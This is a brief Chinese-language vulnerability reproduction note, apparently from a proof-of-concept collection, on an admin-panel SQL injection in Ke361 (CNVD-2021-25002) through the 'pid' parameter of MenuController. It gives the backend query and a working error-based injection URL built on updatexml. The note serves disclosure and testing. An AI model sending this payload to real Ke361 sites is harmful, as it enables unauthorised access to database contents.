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35 lines
822 B
Markdown
35 lines
822 B
Markdown
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# Ke361 MenuController.class.php 后台SQL注入漏洞 CNVD-2021-25002
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## 漏洞描述
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Ke361 MenuController.class.php文件 index() 函数中的pid参数存在 SQL注入漏，导致攻击者通过漏洞可以获取数据库敏感信息
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## 漏洞影响
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```
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Ke361
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```
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## 环境搭建
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https://gitee.com/jcove/ke361
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## 漏洞复现
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存在漏洞的文件为 `Application/Admin/Controller/MenuController.class.php`
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Get 传参 pid 传入SQL语句
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```
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SELECT `id`,`title`,`pid`,`sort`,`url`,`hide`,`tip`,`group`,`is_dev`,`status` FROM `ke_menu` WHERE (id=1)
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```
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使用括号闭合语句，构造SQL注入
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```
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/admin.php?s=/Menu/index/pid/1)%20AND%20updatexml(1,concat(0x7e,(select%20md5(1)),0x7e),1)--+
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```
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